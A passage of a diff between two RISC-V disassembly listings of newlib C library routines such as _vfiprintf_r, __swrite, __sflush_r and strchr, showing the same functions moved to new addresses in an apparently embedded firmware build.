+20403494:	00850513          	addi	a0,a0,8 # 20404498 <__sf_fake_stdout+0x2c>
+20403498:	00140913          	addi	s2,s0,1
+2040349c:	02b10423          	sb	a1,40(sp)
+204034a0:	25bd                	jal	20403b0e <memchr>
+204034a2:	c12d                	beqz	a0,20403504 <_vfiprintf_r+0x282>
+204034a4:	00000793          	li	a5,0
+204034a8:	e795                	bnez	a5,204034d4 <_vfiprintf_r+0x252>
+204034aa:	4742                	lw	a4,16(sp)
+204034ac:	47b2                	lw	a5,12(sp)
+204034ae:	10077713          	andi	a4,a4,256
+204034b2:	cf09                	beqz	a4,204034cc <_vfiprintf_r+0x24a>
+204034b4:	0791                	addi	a5,a5,4
+204034b6:	c63e                	sw	a5,12(sp)
+204034b8:	5792                	lw	a5,36(sp)
+204034ba:	97d2                	add	a5,a5,s4
+204034bc:	d23e                	sw	a5,36(sp)
+204034be:	b53d                	j	204032ec <_vfiprintf_r+0x6a>
+204034c0:	036787b3          	mul	a5,a5,s6
+204034c4:	842e                	mv	s0,a1
+204034c6:	4685                	li	a3,1
+204034c8:	97ba                	add	a5,a5,a4
+204034ca:	b749                	j	2040344c <_vfiprintf_r+0x1ca>
+204034cc:	079d                	addi	a5,a5,7
+204034ce:	9be1                	andi	a5,a5,-8
+204034d0:	07a1                	addi	a5,a5,8
+204034d2:	b7d5                	j	204034b6 <_vfiprintf_r+0x234>
+204034d4:	0078                	addi	a4,sp,12
+204034d6:	00000697          	auipc	a3,0x0
+204034da:	d6a68693          	addi	a3,a3,-662 # 20403240 <__sfputs_r>
+204034de:	8626                	mv	a2,s1
+204034e0:	080c                	addi	a1,sp,16
+204034e2:	854e                	mv	a0,s3
+204034e4:	00000097          	auipc	ra,0x0
+204034e8:	000000e7          	jalr	zero # 0 <__stack_size-0x800>
+204034ec:	57fd                	li	a5,-1
+204034ee:	8a2a                	mv	s4,a0
+204034f0:	fcf514e3          	bne	a0,a5,204034b8 <_vfiprintf_r+0x236>
+204034f4:	00c4d783          	lhu	a5,12(s1)
+204034f8:	0407f793          	andi	a5,a5,64
+204034fc:	ea079ee3          	bnez	a5,204033b8 <_vfiprintf_r+0x136>
+20403500:	5512                	lw	a0,36(sp)
+20403502:	bd65                	j	204033ba <_vfiprintf_r+0x138>
+20403504:	0078                	addi	a4,sp,12
+20403506:	00000697          	auipc	a3,0x0
+2040350a:	d3a68693          	addi	a3,a3,-710 # 20403240 <__sfputs_r>
+2040350e:	8626                	mv	a2,s1
+20403510:	080c                	addi	a1,sp,16
+20403512:	854e                	mv	a0,s3
+20403514:	a93ff0ef          	jal	ra,20402fa6 <_printf_i>
+20403518:	bfd1                	j	204034ec <_vfiprintf_r+0x26a>
 
-20404882 <__swrite>:
-20404882:	00c5d783          	lhu	a5,12(a1)
-20404886:	1101                	addi	sp,sp,-32
-20404888:	cc22                	sw	s0,24(sp)
-2040488a:	ca26                	sw	s1,20(sp)
-2040488c:	c84a                	sw	s2,16(sp)
-2040488e:	c64e                	sw	s3,12(sp)
-20404890:	ce06                	sw	ra,28(sp)
-20404892:	1007f793          	andi	a5,a5,256
-20404896:	84aa                	mv	s1,a0
-20404898:	842e                	mv	s0,a1
-2040489a:	8932                	mv	s2,a2
-2040489c:	89b6                	mv	s3,a3
-2040489e:	c791                	beqz	a5,204048aa <__swrite+0x28>
-204048a0:	00e59583          	lh	a1,14(a1)
-204048a4:	4689                	li	a3,2
-204048a6:	4601                	li	a2,0
-204048a8:	210d                	jal	20404cca <_lseek_r>
-204048aa:	00c45783          	lhu	a5,12(s0)
-204048ae:	777d                	lui	a4,0xfffff
-204048b0:	177d                	addi	a4,a4,-1
-204048b2:	8ff9                	and	a5,a5,a4
-204048b4:	00e41583          	lh	a1,14(s0)
-204048b8:	00f41623          	sh	a5,12(s0)
-204048bc:	4462                	lw	s0,24(sp)
-204048be:	40f2                	lw	ra,28(sp)
-204048c0:	86ce                	mv	a3,s3
-204048c2:	864a                	mv	a2,s2
-204048c4:	49b2                	lw	s3,12(sp)
-204048c6:	4942                	lw	s2,16(sp)
-204048c8:	8526                	mv	a0,s1
-204048ca:	44d2                	lw	s1,20(sp)
-204048cc:	6105                	addi	sp,sp,32
-204048ce:	810ff06f          	j	204038de <_write_r>
+2040351a <_open_r>:
+2040351a:	1141                	addi	sp,sp,-16
+2040351c:	c422                	sw	s0,8(sp)
+2040351e:	842a                	mv	s0,a0
+20403520:	852e                	mv	a0,a1
+20403522:	85b2                	mv	a1,a2
+20403524:	8636                	mv	a2,a3
+20403526:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+2040352a:	c606                	sw	ra,12(sp)
+2040352c:	da5fe0ef          	jal	ra,204022d0 <_open>
+20403530:	57fd                	li	a5,-1
+20403532:	00f51663          	bne	a0,a5,2040353e <_open_r+0x24>
+20403536:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+2040353a:	c391                	beqz	a5,2040353e <_open_r+0x24>
+2040353c:	c01c                	sw	a5,0(s0)
+2040353e:	40b2                	lw	ra,12(sp)
+20403540:	4422                	lw	s0,8(sp)
+20403542:	0141                	addi	sp,sp,16
+20403544:	8082                	ret
 
-204048d2 <__sseek>:
-204048d2:	1141                	addi	sp,sp,-16
-204048d4:	c422                	sw	s0,8(sp)
-204048d6:	842e                	mv	s0,a1
-204048d8:	00e59583          	lh	a1,14(a1)
-204048dc:	c606                	sw	ra,12(sp)
-204048de:	26f5                	jal	20404cca <_lseek_r>
-204048e0:	57fd                	li	a5,-1
-204048e2:	00c45703          	lhu	a4,12(s0)
-204048e6:	00f51b63          	bne	a0,a5,204048fc <__sseek+0x2a>
-204048ea:	77fd                	lui	a5,0xfffff
-204048ec:	17fd                	addi	a5,a5,-1
-204048ee:	8ff9                	and	a5,a5,a4
-204048f0:	00f41623          	sh	a5,12(s0)
-204048f4:	40b2                	lw	ra,12(sp)
-204048f6:	4422                	lw	s0,8(sp)
-204048f8:	0141                	addi	sp,sp,16
-204048fa:	8082                	ret
-204048fc:	6785                	lui	a5,0x1
-204048fe:	8fd9                	or	a5,a5,a4
-20404900:	00f41623          	sh	a5,12(s0)
-20404904:	c868                	sw	a0,84(s0)
-20404906:	b7fd                	j	204048f4 <__sseek+0x22>
+20403546 <_read_r>:
+20403546:	1141                	addi	sp,sp,-16
+20403548:	c422                	sw	s0,8(sp)
+2040354a:	842a                	mv	s0,a0
+2040354c:	852e                	mv	a0,a1
+2040354e:	85b2                	mv	a1,a2
+20403550:	8636                	mv	a2,a3
+20403552:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+20403556:	c606                	sw	ra,12(sp)
+20403558:	da7fe0ef          	jal	ra,204022fe <_read>
+2040355c:	57fd                	li	a5,-1
+2040355e:	00f51663          	bne	a0,a5,2040356a <_read_r+0x24>
+20403562:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20403566:	c391                	beqz	a5,2040356a <_read_r+0x24>
+20403568:	c01c                	sw	a5,0(s0)
+2040356a:	40b2                	lw	ra,12(sp)
+2040356c:	4422                	lw	s0,8(sp)
+2040356e:	0141                	addi	sp,sp,16
+20403570:	8082                	ret
 
-20404908 <__sclose>:
-20404908:	00e59583          	lh	a1,14(a1)
-2040490c:	a2e5                	j	20404af4 <_close_r>
+20403572 <__sread>:
+20403572:	1141                	addi	sp,sp,-16
+20403574:	c422                	sw	s0,8(sp)
+20403576:	842e                	mv	s0,a1
+20403578:	00e59583          	lh	a1,14(a1)
+2040357c:	c606                	sw	ra,12(sp)
+2040357e:	37e1                	jal	20403546 <_read_r>
+20403580:	00054963          	bltz	a0,20403592 <__sread+0x20>
+20403584:	487c                	lw	a5,84(s0)
+20403586:	97aa                	add	a5,a5,a0
+20403588:	c87c                	sw	a5,84(s0)
+2040358a:	40b2                	lw	ra,12(sp)
+2040358c:	4422                	lw	s0,8(sp)
+2040358e:	0141                	addi	sp,sp,16
+20403590:	8082                	ret
+20403592:	00c45783          	lhu	a5,12(s0)
+20403596:	777d                	lui	a4,0xfffff
+20403598:	177d                	addi	a4,a4,-1
+2040359a:	8ff9                	and	a5,a5,a4
+2040359c:	00f41623          	sh	a5,12(s0)
+204035a0:	b7ed                	j	2040358a <__sread+0x18>
 
-2040490e <strchr>:
-2040490e:	0ff5f593          	andi	a1,a1,255
-20404912:	00054783          	lbu	a5,0(a0)
-20404916:	c791                	beqz	a5,20404922 <strchr+0x14>
-20404918:	00b79363          	bne	a5,a1,2040491e <strchr+0x10>
-2040491c:	8082                	ret
-2040491e:	0505                	addi	a0,a0,1
-20404920:	bfcd                	j	20404912 <strchr+0x4>
-20404922:	c191                	beqz	a1,20404926 <strchr+0x18>
-20404924:	4501                	li	a0,0
-20404926:	8082                	ret
+204035a2 <__swrite>:
+204035a2:	00c5d783          	lhu	a5,12(a1)
+204035a6:	1101                	addi	sp,sp,-32
+204035a8:	cc22                	sw	s0,24(sp)
+204035aa:	ca26                	sw	s1,20(sp)
+204035ac:	c84a                	sw	s2,16(sp)
+204035ae:	c64e                	sw	s3,12(sp)
+204035b0:	ce06                	sw	ra,28(sp)
+204035b2:	1007f793          	andi	a5,a5,256
+204035b6:	84aa                	mv	s1,a0
+204035b8:	842e                	mv	s0,a1
+204035ba:	8932                	mv	s2,a2
+204035bc:	89b6                	mv	s3,a3
+204035be:	c791                	beqz	a5,204035ca <__swrite+0x28>
+204035c0:	00e59583          	lh	a1,14(a1)
+204035c4:	4689                	li	a3,2
+204035c6:	4601                	li	a2,0
+204035c8:	210d                	jal	204039ea <_lseek_r>
+204035ca:	00c45783          	lhu	a5,12(s0)
+204035ce:	777d                	lui	a4,0xfffff
+204035d0:	177d                	addi	a4,a4,-1
+204035d2:	8ff9                	and	a5,a5,a4
+204035d4:	00e41583          	lh	a1,14(s0)
+204035d8:	00f41623          	sh	a5,12(s0)
+204035dc:	4462                	lw	s0,24(sp)
+204035de:	40f2                	lw	ra,28(sp)
+204035e0:	86ce                	mv	a3,s3
+204035e2:	864a                	mv	a2,s2
+204035e4:	49b2                	lw	s3,12(sp)
+204035e6:	4942                	lw	s2,16(sp)
+204035e8:	8526                	mv	a0,s1
+204035ea:	44d2                	lw	s1,20(sp)
+204035ec:	6105                	addi	sp,sp,32
+204035ee:	9b8ff06f          	j	204027a6 <_write_r>
 
-20404928 <__swbuf_r>:
-20404928:	1101                	addi	sp,sp,-32
-2040492a:	cc22                	sw	s0,24(sp)
-2040492c:	ca26                	sw	s1,20(sp)
-2040492e:	c84a                	sw	s2,16(sp)
-20404930:	ce06                	sw	ra,28(sp)
-20404932:	c64e                	sw	s3,12(sp)
-20404934:	84aa                	mv	s1,a0
-20404936:	892e                	mv	s2,a1
-20404938:	8432                	mv	s0,a2
-2040493a:	c509                	beqz	a0,20404944 <__swbuf_r+0x1c>
-2040493c:	4d1c                	lw	a5,24(a0)
-2040493e:	e399                	bnez	a5,20404944 <__swbuf_r+0x1c>
-20404940:	9bcff0ef          	jal	ra,20403afc <__sinit>
-20404944:	00001797          	auipc	a5,0x1
-20404948:	5c878793          	addi	a5,a5,1480 # 20405f0c <__sf_fake_stdin>
-2040494c:	06f41963          	bne	s0,a5,204049be <__swbuf_r+0x96>
-20404950:	40c0                	lw	s0,4(s1)
-20404952:	4c1c                	lw	a5,24(s0)
-20404954:	c41c                	sw	a5,8(s0)
-20404956:	00c45783          	lhu	a5,12(s0)
-2040495a:	8ba1                	andi	a5,a5,8
-2040495c:	c3c9                	beqz	a5,204049de <__swbuf_r+0xb6>
-2040495e:	481c                	lw	a5,16(s0)
-20404960:	cfbd                	beqz	a5,204049de <__swbuf_r+0xb6>
-20404962:	481c                	lw	a5,16(s0)
-20404964:	4008                	lw	a0,0(s0)
-20404966:	0ff97993          	andi	s3,s2,255
-2040496a:	0ff97913          	andi	s2,s2,255
-2040496e:	8d1d                	sub	a0,a0,a5
-20404970:	485c                	lw	a5,20(s0)
-20404972:	00f54663          	blt	a0,a5,2040497e <__swbuf_r+0x56>
-20404976:	85a2                	mv	a1,s0
-20404978:	8526                	mv	a0,s1
-2040497a:	24ed                	jal	20404c64 <_fflush_r>
-2040497c:	e52d                	bnez	a0,204049e6 <__swbuf_r+0xbe>
-2040497e:	441c                	lw	a5,8(s0)
-20404980:	0505                	addi	a0,a0,1
-20404982:	17fd                	addi	a5,a5,-1
-20404984:	c41c                	sw	a5,8(s0)
-20404986:	401c                	lw	a5,0(s0)
-20404988:	00178713          	addi	a4,a5,1
-2040498c:	c018                	sw	a4,0(s0)
-2040498e:	01378023          	sb	s3,0(a5)
-20404992:	485c                	lw	a5,20(s0)
-20404994:	00a78963          	beq	a5,a0,204049a6 <__swbuf_r+0x7e>
-20404998:	00c45783          	lhu	a5,12(s0)
-2040499c:	8b85                	andi	a5,a5,1
-2040499e:	cb81                	beqz	a5,204049ae <__swbuf_r+0x86>
-204049a0:	47a9                	li	a5,10
-204049a2:	00f91663          	bne	s2,a5,204049ae <__swbuf_r+0x86>
-204049a6:	85a2                	mv	a1,s0
-204049a8:	8526                	mv	a0,s1
-204049aa:	2c6d                	jal	20404c64 <_fflush_r>
-204049ac:	ed0d                	bnez	a0,204049e6 <__swbuf_r+0xbe>
-204049ae:	40f2                	lw	ra,28(sp)
-204049b0:	4462                	lw	s0,24(sp)
-204049b2:	44d2                	lw	s1,20(sp)
-204049b4:	49b2                	lw	s3,12(sp)
-204049b6:	854a                	mv	a0,s2
-204049b8:	4942                	lw	s2,16(sp)
-204049ba:	6105                	addi	sp,sp,32
-204049bc:	8082                	ret
-204049be:	00001797          	auipc	a5,0x1
-204049c2:	56e78793          	addi	a5,a5,1390 # 20405f2c <__sf_fake_stdout>
-204049c6:	00f41463          	bne	s0,a5,204049ce <__swbuf_r+0xa6>
-204049ca:	4480                	lw	s0,8(s1)
-204049cc:	b759                	j	20404952 <__swbuf_r+0x2a>
-204049ce:	00001797          	auipc	a5,0x1
-204049d2:	51e78793          	addi	a5,a5,1310 # 20405eec <__sf_fake_stderr>
-204049d6:	f6f41ee3          	bne	s0,a5,20404952 <__swbuf_r+0x2a>
-204049da:	44c0                	lw	s0,12(s1)
-204049dc:	bf9d                	j	20404952 <__swbuf_r+0x2a>
-204049de:	85a2                	mv	a1,s0
-204049e0:	8526                	mv	a0,s1
-204049e2:	2021                	jal	204049ea <__swsetup_r>
-204049e4:	dd3d                	beqz	a0,20404962 <__swbuf_r+0x3a>
-204049e6:	597d                	li	s2,-1
-204049e8:	b7d9                	j	204049ae <__swbuf_r+0x86>
+204035f2 <__sseek>:
+204035f2:	1141                	addi	sp,sp,-16
+204035f4:	c422                	sw	s0,8(sp)
+204035f6:	842e                	mv	s0,a1
+204035f8:	00e59583          	lh	a1,14(a1)
+204035fc:	c606                	sw	ra,12(sp)
+204035fe:	26f5                	jal	204039ea <_lseek_r>
+20403600:	57fd                	li	a5,-1
+20403602:	00c45703          	lhu	a4,12(s0)
+20403606:	00f51b63          	bne	a0,a5,2040361c <__sseek+0x2a>
+2040360a:	77fd                	lui	a5,0xfffff
+2040360c:	17fd                	addi	a5,a5,-1
+2040360e:	8ff9                	and	a5,a5,a4
+20403610:	00f41623          	sh	a5,12(s0)
+20403614:	40b2                	lw	ra,12(sp)
+20403616:	4422                	lw	s0,8(sp)
+20403618:	0141                	addi	sp,sp,16
+2040361a:	8082                	ret
+2040361c:	6785                	lui	a5,0x1
+2040361e:	8fd9                	or	a5,a5,a4
+20403620:	00f41623          	sh	a5,12(s0)
+20403624:	c868                	sw	a0,84(s0)
+20403626:	b7fd                	j	20403614 <__sseek+0x22>
 
-204049ea <__swsetup_r>:
-204049ea:	1141                	addi	sp,sp,-16
-204049ec:	c422                	sw	s0,8(sp)
-204049ee:	c226                	sw	s1,4(sp)
-204049f0:	c04a                	sw	s2,0(sp)
-204049f2:	c606                	sw	ra,12(sp)
-204049f4:	80c1a483          	lw	s1,-2036(gp) # 8000d87c <_impure_ptr>
-204049f8:	892a                	mv	s2,a0
-204049fa:	842e                	mv	s0,a1
-204049fc:	c491                	beqz	s1,20404a08 <__swsetup_r+0x1e>
-204049fe:	4c9c                	lw	a5,24(s1)
-20404a00:	e781                	bnez	a5,20404a08 <__swsetup_r+0x1e>
-20404a02:	8526                	mv	a0,s1
-20404a04:	8f8ff0ef          	jal	ra,20403afc <__sinit>
-20404a08:	00001797          	auipc	a5,0x1
-20404a0c:	50478793          	addi	a5,a5,1284 # 20405f0c <__sf_fake_stdin>
-20404a10:	02f41763          	bne	s0,a5,20404a3e <__swsetup_r+0x54>
-20404a14:	40c0                	lw	s0,4(s1)
-20404a16:	00c41783          	lh	a5,12(s0)
-20404a1a:	01079713          	slli	a4,a5,0x10
-20404a1e:	0087f693          	andi	a3,a5,8
-20404a22:	8341                	srli	a4,a4,0x10
-20404a24:	eab5                	bnez	a3,20404a98 <__swsetup_r+0xae>
-20404a26:	01077693          	andi	a3,a4,16
-20404a2a:	ea95                	bnez	a3,20404a5e <__swsetup_r+0x74>
-20404a2c:	4725                	li	a4,9
-20404a2e:	00e92023          	sw	a4,0(s2)
-20404a32:	0407e793          	ori	a5,a5,64
-20404a36:	00f41623          	sh	a5,12(s0)
-20404a3a:	557d                	li	a0,-1
-20404a3c:	a879                	j	20404ada <__swsetup_r+0xf0>
-20404a3e:	00001797          	auipc	a5,0x1
-20404a42:	4ee78793          	addi	a5,a5,1262 # 20405f2c <__sf_fake_stdout>
-20404a46:	00f41463          	bne	s0,a5,20404a4e <__swsetup_r+0x64>
-20404a4a:	4480                	lw	s0,8(s1)
-20404a4c:	b7e9                	j	20404a16 <__swsetup_r+0x2c>
-20404a4e:	00001797          	auipc	a5,0x1
-20404a52:	49e78793          	addi	a5,a5,1182 # 20405eec <__sf_fake_stderr>
-20404a56:	fcf410e3          	bne	s0,a5,20404a16 <__swsetup_r+0x2c>
-20404a5a:	44c0                	lw	s0,12(s1)
-20404a5c:	bf6d                	j	20404a16 <__swsetup_r+0x2c>
-20404a5e:	8b11                	andi	a4,a4,4
-20404a60:	c715                	beqz	a4,20404a8c <__swsetup_r+0xa2>
-20404a62:	584c                	lw	a1,52(s0)
-20404a64:	c991                	beqz	a1,20404a78 <__swsetup_r+0x8e>
-20404a66:	04440793          	addi	a5,s0,68
-20404a6a:	00f58563          	beq	a1,a5,20404a74 <__swsetup_r+0x8a>
-20404a6e:	854a                	mv	a0,s2
-20404a70:	a06ff0ef          	jal	ra,20403c76 <_free_r>
-20404a74:	02042a23          	sw	zero,52(s0)
-20404a78:	00c45783          	lhu	a5,12(s0)
-20404a7c:	00042223          	sw	zero,4(s0)
-20404a80:	fdb7f793          	andi	a5,a5,-37
-20404a84:	00f41623          	sh	a5,12(s0)
-20404a88:	481c                	lw	a5,16(s0)
-20404a8a:	c01c                	sw	a5,0(s0)
-20404a8c:	00c45783          	lhu	a5,12(s0)
-20404a90:	0087e793          	ori	a5,a5,8
-20404a94:	00f41623          	sh	a5,12(s0)
-20404a98:	481c                	lw	a5,16(s0)
-20404a9a:	ef81                	bnez	a5,20404ab2 <__swsetup_r+0xc8>
-20404a9c:	00c45783          	lhu	a5,12(s0)
-20404aa0:	20000713          	li	a4,512
-20404aa4:	2807f793          	andi	a5,a5,640
-20404aa8:	00e78563          	beq	a5,a4,20404ab2 <__swsetup_r+0xc8>
-20404aac:	85a2                	mv	a1,s0
-20404aae:	854a                	mv	a0,s2
-20404ab0:	2445                	jal	20404d50 <__smakebuf_r>
-20404ab2:	00c41783          	lh	a5,12(s0)
-20404ab6:	01079713          	slli	a4,a5,0x10
-20404aba:	0017f693          	andi	a3,a5,1
-20404abe:	8341                	srli	a4,a4,0x10
-20404ac0:	c29d                	beqz	a3,20404ae6 <__swsetup_r+0xfc>
-20404ac2:	4854                	lw	a3,20(s0)
-20404ac4:	00042423          	sw	zero,8(s0)
-20404ac8:	40d006b3          	neg	a3,a3
-20404acc:	cc14                	sw	a3,24(s0)
-20404ace:	4814                	lw	a3,16(s0)
-20404ad0:	4501                	li	a0,0
-20404ad2:	e681                	bnez	a3,20404ada <__swsetup_r+0xf0>
-20404ad4:	08077713          	andi	a4,a4,128
-20404ad8:	ff29                	bnez	a4,20404a32 <__swsetup_r+0x48>
-20404ada:	40b2                	lw	ra,12(sp)
-20404adc:	4422                	lw	s0,8(sp)
-20404ade:	4492                	lw	s1,4(sp)
-20404ae0:	4902                	lw	s2,0(sp)
-20404ae2:	0141                	addi	sp,sp,16
-20404ae4:	8082                	ret
-20404ae6:	00277693          	andi	a3,a4,2
-20404aea:	4601                	li	a2,0
-20404aec:	e291                	bnez	a3,20404af0 <__swsetup_r+0x106>
-20404aee:	4850                	lw	a2,20(s0)
-20404af0:	c410                	sw	a2,8(s0)
-20404af2:	bff1                	j	20404ace <__swsetup_r+0xe4>
+20403628 <__sclose>:
+20403628:	00e59583          	lh	a1,14(a1)
+2040362c:	a2e5                	j	20403814 <_close_r>
 
-20404af4 <_close_r>:
-20404af4:	1141                	addi	sp,sp,-16
-20404af6:	c422                	sw	s0,8(sp)
-20404af8:	842a                	mv	s0,a0
-20404afa:	852e                	mv	a0,a1
-20404afc:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-20404b00:	c606                	sw	ra,12(sp)
-20404b02:	81afe0ef          	jal	ra,20402b1c <_close>
-20404b06:	57fd                	li	a5,-1
-20404b08:	00f51663          	bne	a0,a5,20404b14 <_close_r+0x20>
-20404b0c:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-20404b10:	c391                	beqz	a5,20404b14 <_close_r+0x20>
-20404b12:	c01c                	sw	a5,0(s0)
-20404b14:	40b2                	lw	ra,12(sp)
-20404b16:	4422                	lw	s0,8(sp)
-20404b18:	0141                	addi	sp,sp,16
-20404b1a:	8082                	ret
+2040362e <strchr>:
+2040362e:	0ff5f593          	andi	a1,a1,255
+20403632:	00054783          	lbu	a5,0(a0)
+20403636:	c791                	beqz	a5,20403642 <strchr+0x14>
+20403638:	00b79363          	bne	a5,a1,2040363e <strchr+0x10>
+2040363c:	8082                	ret
+2040363e:	0505                	addi	a0,a0,1
+20403640:	bfcd                	j	20403632 <strchr+0x4>
+20403642:	c191                	beqz	a1,20403646 <strchr+0x18>
+20403644:	4501                	li	a0,0
+20403646:	8082                	ret
 
-20404b1c <__sflush_r>:
-20404b1c:	00c5d783          	lhu	a5,12(a1)
-20404b20:	1101                	addi	sp,sp,-32
-20404b22:	cc22                	sw	s0,24(sp)
-20404b24:	ca26                	sw	s1,20(sp)
-20404b26:	ce06                	sw	ra,28(sp)
-20404b28:	c84a                	sw	s2,16(sp)
-20404b2a:	c64e                	sw	s3,12(sp)
-20404b2c:	0087f713          	andi	a4,a5,8
-20404b30:	84aa                	mv	s1,a0
-20404b32:	842e                	mv	s0,a1
-20404b34:	e37d                	bnez	a4,20404c1a <__sflush_r+0xfe>
-20404b36:	41d8                	lw	a4,4(a1)
-20404b38:	00e04763          	bgtz	a4,20404b46 <__sflush_r+0x2a>
-20404b3c:	41b8                	lw	a4,64(a1)
-20404b3e:	00e04463          	bgtz	a4,20404b46 <__sflush_r+0x2a>
-20404b42:	4501                	li	a0,0
-20404b44:	a87d                	j	20404c02 <__sflush_r+0xe6>
-20404b46:	5458                	lw	a4,44(s0)
-20404b48:	df6d                	beqz	a4,20404b42 <__sflush_r+0x26>
-20404b4a:	6685                	lui	a3,0x1
-20404b4c:	0004a903          	lw	s2,0(s1)
-20404b50:	8ff5                	and	a5,a5,a3
-20404b52:	0004a023          	sw	zero,0(s1)
-20404b56:	cfad                	beqz	a5,20404bd0 <__sflush_r+0xb4>
-20404b58:	4868                	lw	a0,84(s0)
-20404b5a:	00c45783          	lhu	a5,12(s0)
-20404b5e:	8b91                	andi	a5,a5,4
-20404b60:	c799                	beqz	a5,20404b6e <__sflush_r+0x52>
-20404b62:	405c                	lw	a5,4(s0)
-20404b64:	8d1d                	sub	a0,a0,a5
-20404b66:	585c                	lw	a5,52(s0)
-20404b68:	c399                	beqz	a5,20404b6e <__sflush_r+0x52>
-20404b6a:	403c                	lw	a5,64(s0)
-20404b6c:	8d1d                	sub	a0,a0,a5
-20404b6e:	545c                	lw	a5,44(s0)
-20404b70:	500c                	lw	a1,32(s0)
-20404b72:	862a                	mv	a2,a0
-20404b74:	4681                	li	a3,0
-20404b76:	8526                	mv	a0,s1
-20404b78:	9782                	jalr	a5
-20404b7a:	57fd                	li	a5,-1
-20404b7c:	00c45703          	lhu	a4,12(s0)
-20404b80:	00f51d63          	bne	a0,a5,20404b9a <__sflush_r+0x7e>
-20404b84:	4094                	lw	a3,0(s1)
-20404b86:	47f5                	li	a5,29
-20404b88:	08d7e463          	bltu	a5,a3,20404c10 <__sflush_r+0xf4>
-20404b8c:	204007b7          	lui	a5,0x20400
-20404b90:	0785                	addi	a5,a5,1
-20404b92:	00d7d7b3          	srl	a5,a5,a3
-20404b96:	8b85                	andi	a5,a5,1
-20404b98:	cfa5                	beqz	a5,20404c10 <__sflush_r+0xf4>
-20404b9a:	481c                	lw	a5,16(s0)
-20404b9c:	00042223          	sw	zero,4(s0)
-20404ba0:	c01c                	sw	a5,0(s0)
-20404ba2:	6785                	lui	a5,0x1
-20404ba4:	8f7d                	and	a4,a4,a5
-20404ba6:	c719                	beqz	a4,20404bb4 <__sflush_r+0x98>
-20404ba8:	57fd                	li	a5,-1
-20404baa:	00f51463          	bne	a0,a5,20404bb2 <__sflush_r+0x96>
-20404bae:	409c                	lw	a5,0(s1)
-20404bb0:	e391                	bnez	a5,20404bb4 <__sflush_r+0x98>
-20404bb2:	c868                	sw	a0,84(s0)
-20404bb4:	584c                	lw	a1,52(s0)
-20404bb6:	0124a023          	sw	s2,0(s1)
-20404bba:	d5c1                	beqz	a1,20404b42 <__sflush_r+0x26>
-20404bbc:	04440793          	addi	a5,s0,68
-20404bc0:	00f58563          	beq	a1,a5,20404bca <__sflush_r+0xae>
-20404bc4:	8526                	mv	a0,s1
-20404bc6:	8b0ff0ef          	jal	ra,20403c76 <_free_r>
-20404bca:	02042a23          	sw	zero,52(s0)
-20404bce:	bf95                	j	20404b42 <__sflush_r+0x26>
-20404bd0:	500c                	lw	a1,32(s0)
-20404bd2:	4685                	li	a3,1
-20404bd4:	4601                	li	a2,0
-20404bd6:	8526                	mv	a0,s1
-20404bd8:	9702                	jalr	a4
-20404bda:	57fd                	li	a5,-1
-20404bdc:	f6f51fe3          	bne	a0,a5,20404b5a <__sflush_r+0x3e>
-20404be0:	409c                	lw	a5,0(s1)
-20404be2:	dfa5                	beqz	a5,20404b5a <__sflush_r+0x3e>
-20404be4:	4775                	li	a4,29
-20404be6:	00e78563          	beq	a5,a4,20404bf0 <__sflush_r+0xd4>
-20404bea:	4759                	li	a4,22
-20404bec:	00e79563          	bne	a5,a4,20404bf6 <__sflush_r+0xda>
-20404bf0:	0124a023          	sw	s2,0(s1)
-20404bf4:	b7b9                	j	20404b42 <__sflush_r+0x26>
-20404bf6:	00c45783          	lhu	a5,12(s0)
-20404bfa:	0407e793          	ori	a5,a5,64
-20404bfe:	00f41623          	sh	a5,12(s0)
-20404c02:	40f2                	lw	ra,28(sp)
-20404c04:	4462                	lw	s0,24(sp)
-20404c06:	44d2                	lw	s1,20(sp)
-20404c08:	4942                	lw	s2,16(sp)
-20404c0a:	49b2                	lw	s3,12(sp)
-20404c0c:	6105                	addi	sp,sp,32
-20404c0e:	8082                	ret
-20404c10:	04076713          	ori	a4,a4,64
-20404c14:	00e41623          	sh	a4,12(s0)
-20404c18:	b7ed                	j	20404c02 <__sflush_r+0xe6>
-20404c1a:	0105a983          	lw	s3,16(a1)
-20404c1e:	f20982e3          	beqz	s3,20404b42 <__sflush_r+0x26>
-20404c22:	0005a903          	lw	s2,0(a1)
-20404c26:	8b8d                	andi	a5,a5,3
-20404c28:	0135a023          	sw	s3,0(a1)
-20404c2c:	41390933          	sub	s2,s2,s3
-20404c30:	4701                	li	a4,0
-20404c32:	e391                	bnez	a5,20404c36 <__sflush_r+0x11a>
-20404c34:	49d8                	lw	a4,20(a1)
-20404c36:	c418                	sw	a4,8(s0)
-20404c38:	f12055e3          	blez	s2,20404b42 <__sflush_r+0x26>
-20404c3c:	541c                	lw	a5,40(s0)
-20404c3e:	500c                	lw	a1,32(s0)
-20404c40:	86ca                	mv	a3,s2
-20404c42:	864e                	mv	a2,s3
-20404c44:	8526                	mv	a0,s1
-20404c46:	9782                	jalr	a5
-20404c48:	00a04a63          	bgtz	a0,20404c5c <__sflush_r+0x140>
-20404c4c:	00c45783          	lhu	a5,12(s0)
-20404c50:	557d                	li	a0,-1
-20404c52:	0407e793          	ori	a5,a5,64
-20404c56:	00f41623          	sh	a5,12(s0)
-20404c5a:	b765                	j	20404c02 <__sflush_r+0xe6>
-20404c5c:	99aa                	add	s3,s3,a0
-20404c5e:	40a90933          	sub	s2,s2,a0
-20404c62:	bfd9                	j	20404c38 <__sflush_r+0x11c>
+20403648 <__swbuf_r>:
+20403648:	1101                	addi	sp,sp,-32
+2040364a:	cc22                	sw	s0,24(sp)
+2040364c:	ca26                	sw	s1,20(sp)
+2040364e:	c84a                	sw	s2,16(sp)
+20403650:	ce06                	sw	ra,28(sp)
+20403652:	c64e                	sw	s3,12(sp)
+20403654:	84aa                	mv	s1,a0
+20403656:	892e                	mv	s2,a1
+20403658:	8432                	mv	s0,a2
+2040365a:	c509                	beqz	a0,20403664 <__swbuf_r+0x1c>
+2040365c:	4d1c                	lw	a5,24(a0)
+2040365e:	e399                	bnez	a5,20403664 <__swbuf_r+0x1c>
+20403660:	b60ff0ef          	jal	ra,204029c0 <__sinit>
+20403664:	00001797          	auipc	a5,0x1
+20403668:	de878793          	addi	a5,a5,-536 # 2040444c <__sf_fake_stdin>
+2040366c:	06f41963          	bne	s0,a5,204036de <__swbuf_r+0x96>
